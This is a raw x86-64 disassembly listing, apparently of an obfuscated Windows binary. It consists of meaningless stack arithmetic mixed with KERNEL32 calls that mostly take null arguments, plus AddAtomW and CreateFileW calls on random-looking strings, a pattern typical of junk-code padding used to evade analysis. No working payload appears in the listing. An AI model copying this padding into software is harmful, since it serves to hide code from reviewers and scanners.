mov word [rsp + 0x2a58], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x553]
add eax, ecx
mov rcx, qword [rsp + 0x150d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2cb4]
movzx ecx, word [rsp + 0x159c]
add eax, ecx
mov word [rsp + 0x2188], ax
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [rsp + 0x751]
and eax, ecx
mov byte [0x140281dab], al
mov dword [rsp + 0x250d0], 0x114
mov eax, dword [rsp + 0xb138]
mov dword [rsp + 0xb550], eax
mov rax, qword [rsp + 0x14c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb19c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
lea rax, [rsp + 0x4d7]
mov qword [rsp + 0x159e8], rax
movzx eax, word [rsp + 0x315c]
mov rcx, qword [rsp + 0x14e60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1820], ax
mov eax, dword [0x14028295c]
movzx ecx, al
mov eax, dword [rsp + 0xa5e4]
sar eax, cl
mov dword [rsp + 0xb29c], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xb554], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xac38], eax
lea rax, [rsp + 0xb4ec]
mov qword [rsp + 0x159f0], rax
mov rax, qword [0x14028ed08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x451]
add eax, ecx
mov byte [0x140281f02], al
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f34], ax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb364]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0e0], eax
mov eax, dword [rsp + 0xa5a0]
mov ecx, dword [rsp + 0x7194]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a94], eax
mov rax, qword [rsp + 0x14e70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ef4]
sub eax, ecx
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x150d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7d7], al
mov rax, qword [rsp + 0x15378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x153b0]
movzx eax, byte [rax]
mov byte [rsp + 0x7d8], al
mov rax, qword [rsp + 0x154b0]
mov rcx, qword [rsp + 0x15058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66b8], eax
mov rax, qword [rsp + 0x14fe0]
mov eax, dword [rax]
mov dword [0x14028ea24], eax
mov rax, qword [rsp + 0x15970]
mov ecx, dword [rsp + 0xa6ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [rsp + 0xb124]
mov ecx, dword [0x1402829a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91c0], eax
mov eax, dword [rsp + 0xa930]
mov ecx, dword [rsp + 0xb48c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1dc], eax
movzx eax, word [rsp + 0x30c4]
mov word [rsp + 0x3270], ax
movzx eax, byte [rsp + 0x663]
mov rcx, qword [rsp + 0x15490]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x778], al
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x145d0]
mov qword [rsp + 0x159f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x159f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb178], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [rsp + 0xab40]
mov dword [rsp + 0xb558], eax
mov eax, dword [rsp + 0x90bc]
mov ecx, dword [rsp + 0xb4cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad9c], eax
mov rax, qword [rsp + 0x158f0]
mov ecx, dword [rsp + 0xb258]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028eaec], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e90]
shl eax, cl
mov word [rsp + 0x2530], ax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67b]
and eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x15430]
movsx eax, byte [rax]
mov rcx, qword [0x14028eaa8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x654], al
movzx eax, word [rsp + 0x2c48]
mov word [rsp + 0x3274], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x154b0]
mov ecx, dword [rsp + 0xa5d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x85f0], eax
mov eax, dword [rsp + 0x9e70]
mov dword [rsp + 0xb55c], eax
mov rax, qword [rsp + 0x15288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c8c]
and eax, ecx
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0x15980]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64b], al
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f54]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ea30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150c0]
mov eax, dword [rax]
mov dword [rsp + 0xb560], eax
mov rax, qword [rsp + 0x15380]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xacbc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x15a00], rax
mov eax, dword [0x140282778]
mov ecx, dword [rsp + 0xad28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x85cc], eax
movzx eax, byte [rsp + 0x75f]
movzx ecx, byte [rsp + 0x730]
sub eax, ecx
mov rcx, qword [rsp + 0x15440]
mov byte [rcx], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov word [rsp + 0x3278], ax
mov eax, dword [rsp + 0xa5a8]
mov ecx, dword [0x1402829b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9298], eax
mov eax, dword [rsp + 0x7b14]
movzx ecx, al
mov eax, dword [rsp + 0xa604]
sar eax, cl
mov dword [rsp + 0xa464], eax
mov eax, dword [rsp + 0xaaac]
mov dword [rsp + 0xb564], eax
mov rax, qword [rsp + 0x15630]
mov ecx, dword [rsp + 0xa9b0]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402829f4], eax
mov rax, qword [rsp + 0x14ee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c98]
mov qword [rsp + 0x15a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x74fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [0x14028ecb8]
and eax, ecx
mov byte [rsp + 0x5a6], al
mov rax, qword [rsp + 0x143c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x156a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x30f4], ax
movzx eax, byte [rsp + 0x746]
mov rcx, qword [rsp + 0x15920]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68a], al
movzx eax, word [rsp + 0x1d60]
mov word [rsp + 0x327c], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xac58], eax
mov rax, qword [rsp + 0x150a8]
mov rcx, qword [rsp + 0x14f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64b4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb278], eax
lea rax, [rsp + 0xa454]
mov qword [rsp + 0x15a10], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x15a18], rax
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c2]
sub eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ce4]
movzx ecx, word [rsp + 0x2e90]
and eax, ecx
mov word [0x140282814], ax
mov eax, dword [0x140282750]
mov ecx, dword [rsp + 0xaaf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b0], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov dword [rsp + 0xb568], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9108]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [0x140282750]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8d9c], eax
movzx eax, byte [rsp + 0x2e5]
mov rcx, qword [rsp + 0x15120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1aa], al
movzx eax, word [rsp + 0x31e4]
mov word [rsp + 0x3280], ax
mov rax, qword [rsp + 0x14d88]
mov rcx, qword [0x14028ecf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa3ac], eax
mov eax, dword [rsp + 0xab28]
mov ecx, dword [rsp + 0xaba4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x78e0], eax
movsx eax, byte [rsp + 0x176]
mov rcx, qword [0x14028eaa8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140281f03], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, word [rsp + 0x31fc]
mov word [rsp + 0x3284], ax
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3210], ax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
movzx ecx, byte [0x140281eef]
and eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x151c8]
mov rcx, qword [rsp + 0x14f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8144], eax
mov rax, qword [rsp + 0x15030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8680]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
mov edx, 0x44d9b9
mov rcx, qword [rsp + 0x15680]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xb108], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [rsp + 0xaf40]
mov dword [rsp + 0xb56c], eax
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0xa9e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad70]
mov dword [rsp + 0xb570], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x15938]
movzx eax, byte [rax]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5fe], al
movzx eax, word [rsp + 0x2fd8]
movzx ecx, word [rsp + 0x3228]
add eax, ecx
mov word [0x1402829f8], ax
mov rax, qword [rsp + 0x14d50]
mov rcx, qword [rsp + 0x14da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f78], eax
mov eax, dword [rsp + 0xb218]
mov dword [rsp + 0xb574], eax
lea rcx, str.K1XPuTa_r
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x31f8], ax
mov rax, qword [rsp + 0x14f90]
mov ecx, dword [rsp + 0xa6f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb258], eax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x15940]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb40c], eax
mov rax, qword [rsp + 0x14dd8]
mov ecx, dword [rsp + 0xb488]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x89d0], eax
movzx eax, word [rsp + 0x2e08]
movzx ecx, word [rsp + 0x1f4c]
add eax, ecx
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15018]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6d0], al
mov rax, qword [rsp + 0x15928]
movzx eax, word [rax]
mov word [rsp + 0x3288], ax
movsx eax, byte [rsp + 0x786]
mov rcx, qword [rsp + 0x15898]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7d6], al
mov rax, qword [rsp + 0x148d8]
mov rcx, qword [rsp + 0x14880]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402827b8], eax
mov eax, dword [rsp + 0xb130]
mov dword [rsp + 0xb578], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a4c]
sar eax, cl
mov word [rsp + 0x325c], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15658]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a7], al
mov rax, qword [0x14028eb48]
mov rcx, qword [rsp + 0x159b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x14f10]
mov ecx, dword [rsp + 0xa580]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14880]
mov dword [rcx], eax
lea rax, [0x1402826b4]
mov qword [rsp + 0x15a20], rax
mov rax, qword [rsp + 0x14e48]
mov rcx, qword [rsp + 0x152a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15370]
mov dword [rcx], eax
lea rax, [rsp + 0x73f]
mov qword [rsp + 0x15a28], rax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [rsp + 0x24d8]
add eax, ecx
mov word [0x1402829e4], ax
mov rax, qword [rsp + 0x14df0]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa510], eax
mov rax, qword [rsp + 0x14f90]
mov ecx, dword [rsp + 0x7f7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4a4], eax
mov eax, dword [0x1402826c0]
mov dword [rsp + 0xb57c], eax
mov rax, qword [rsp + 0x15258]
mov rcx, qword [rsp + 0x149c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaf54], eax
mov rax, qword [rsp + 0x15828]
mov eax, dword [rax]
mov dword [rsp + 0xb580], eax
mov rax, qword [rsp + 0x14e70]
movsx eax, word [rax]
mov rcx, qword [0x14028ec20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cd4], ax
movsx eax, byte [rsp + 0x722]
movsx ecx, byte [rsp + 0x798]
xor eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
movzx eax, word [rsp + 0x2fdc]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2344], ax
movzx eax, byte [rsp + 0x79c]
mov byte [0x14028ea20], al
mov eax, dword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0x14c08]
mov qword [rsp + 0x15a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb1e8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov dword [rsp + 0xb584], eax
mov rax, qword [0x14028ed60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x757], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
mov word [rsp + 0x328c], ax
mov rax, qword [rsp + 0x15290]
mov ecx, dword [rsp + 0xa770]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6eb0], eax
mov rax, qword [0x14028ebe0]
mov ecx, dword [rsp + 0x94fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x15a10]
mov ecx, dword [rsp + 0xb374]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x90dc], eax
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb518], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb1e4], eax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fb0]
add eax, ecx
mov word [0x1402829fc], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov byte [rsp + 0x7d9], al
mov rax, qword [rsp + 0x154b0]
mov rcx, qword [rsp + 0x14ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7a0], eax
mov eax, dword [rsp + 0x9dec]
mov ecx, dword [rsp + 0x8318]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x721]
mov byte [rsp + 0x7da], al
movsx eax, word [rsp + 0x212c]
mov rcx, qword [rsp + 0x155a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30f4], ax
lea rax, [rsp + 0x6a5]
mov qword [rsp + 0x15a38], rax
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x326c]
add eax, ecx
mov word [rsp + 0x1758], ax
mov eax, dword [rsp + 0xb124]
mov ecx, dword [rsp + 0x9cb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x14e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
xor ecx, eax
mov eax, ecx
mov dword [0x14028279c], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14098]
mov qword [rsp + 0x15a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x65fc], eax
mov rax, qword [rsp + 0x156c0]
mov rcx, qword [rsp + 0x15360]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb1b8], eax
mov rax, qword [rsp + 0x14da8]
mov eax, dword [rax]
mov dword [rsp + 0xb588], eax
movzx eax, byte [rsp + 0x3f3]
movzx ecx, byte [rsp + 0x69c]
shl eax, cl
mov byte [rsp + 0x717], al
movzx eax, word [rsp + 0x292c]
mov rcx, qword [rsp + 0x152c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0x15318]
mov eax, dword [rax]
mov dword [rsp + 0xb58c], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x8604]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7ec], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xb590], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14438]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282a00], eax
movzx eax, byte [rsp + 0x7c9]
mov rcx, qword [rsp + 0x15120]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14480]
mov byte [rcx], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x230c], ax
movsx eax, byte [rsp + 0x6f7]
movsx ecx, byte [0x140281df7]
add eax, ecx
mov byte [rsp + 0x71b], al
mov rax, qword [rsp + 0x14360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x153b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2f24], ax
lea rax, [rsp + 0xa934]
mov qword [rsp + 0x15a48], rax
mov rax, qword [0x14028eac0]
mov ecx, dword [rsp + 0xaa78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6828], eax
lea rax, [rsp + 0x2238]
mov qword [rsp + 0x15a50], rax
movzx eax, byte [rsp + 0x3d7]
movzx ecx, byte [rsp + 0x77f]
add eax, ecx
mov byte [rsp + 0x732], al
mov eax, dword [rsp + 0xb184]
mov ecx, dword [rsp + 0x6f70]
add ecx, eax
mov eax, ecx
mov dword [0x14028edd8], eax
mov rax, qword [rsp + 0x14b78]
mov ecx, dword [rsp + 0xab38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x78e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x14d90]
mov eax, dword [rax]
mov dword [rsp + 0xb594], eax
mov rax, qword [rsp + 0x14c08]
mov eax, dword [rax]
mov ecx, dword [0x14028ed30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d9c], eax
movzx eax, byte [rsp + 0x751]
mov byte [rsp + 0x7db], al
mov rax, qword [rsp + 0x15328]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2fb4], ax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x72c0]
shl eax, cl
mov dword [rsp + 0xb050], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.Xxw0HkM4s_ayqgFN2p6zSNEK1j8PC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15a58], rax
mov rax, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x145d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8df0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x80f0
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xaf74], eax
lea rdx, [rsp + 0x23580]
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x14b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6ec], eax
mov rax, qword [rsp + 0x15398]
mov ecx, dword [rsp + 0x8360]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402828cc], eax
mov eax, dword [rsp + 0x747c]
mov dword [rsp + 0xb598], eax
mov rax, qword [rsp + 0x14d00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3200]
add eax, ecx
mov word [rsp + 0x2c40], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, byte [rsp + 0x658]
movsx ecx, byte [rsp + 0x190]
and eax, ecx
mov byte [rsp + 0x75b], al
mov rax, qword [rsp + 0x15620]
movzx eax, byte [rax]
mov byte [rsp + 0x7dc], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fb4]
sub eax, ecx
mov word [rsp + 0x2eec], ax
mov rax, qword [rsp + 0x14d50]
mov ecx, dword [rsp + 0xb4f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9250], eax
mov rax, qword [rsp + 0x148e8]
mov rcx, qword [rsp + 0x15850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf50], eax
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x15a60], rax
movzx eax, word [rsp + 0x3070]
mov word [0x14028ea1e], ax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9590], eax
mov rax, qword [rsp + 0x15258]
mov ecx, dword [rsp + 0x96cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab20], eax
mov rax, qword [rsp + 0x150b0]
mov eax, dword [rax]
mov dword [rsp + 0xb59c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov eax, dword [0x14028269c]
mov rcx, qword [rsp + 0x14f80]
mov qword [rsp + 0x15a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a68]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa408], eax
movzx eax, word [rsp + 0x3190]
mov word [rsp + 0x3290], ax
movzx ecx, word [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ecc], ax
mov rax, qword [rsp + 0x15578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4d0], al
mov rax, qword [0x14028eb78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x15a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x832c], eax
mov rax, qword [rsp + 0x15608]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2fd4]
and eax, ecx
mov word [0x140282a04], ax
mov rax, qword [rsp + 0x156d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79e], al
movzx eax, word [rsp + 0x30c8]
mov word [rsp + 0x3294], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x668]
sub eax, ecx
mov byte [rsp + 0x646], al
mov rax, qword [rsp + 0x15a48]
mov rcx, qword [rsp + 0x14ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab30], eax
lea rcx, str.E_R4mq9Bs37
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3298], ax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov dword [rsp + 0xb5a0], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xaf28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb2a0], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xb5a4], eax
mov rax, qword [rsp + 0x15318]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb218], eax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x316c]
add eax, ecx
mov word [rsp + 0x19d0], ax
mov rax, qword [rsp + 0x15480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e8b], al
mov eax, dword [rsp + 0xb4e0]
mov ecx, dword [rsp + 0x9f0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb420], eax
mov rax, qword [rsp + 0x14ca8]
mov ecx, dword [rsp + 0xac30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb358], eax
mov rax, qword [rsp + 0x15948]
mov eax, dword [rax]
mov dword [rsp + 0xb5a8], eax
mov eax, dword [rsp + 0xafe4]
movzx ecx, al
mov eax, dword [rsp + 0xadec]
shl eax, cl
mov dword [rsp + 0x6480], eax
lea rax, [0x1402827d4]
mov qword [rsp + 0x15a78], rax
movzx eax, byte [rsp + 0x797]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15750]
mov byte [rcx], al
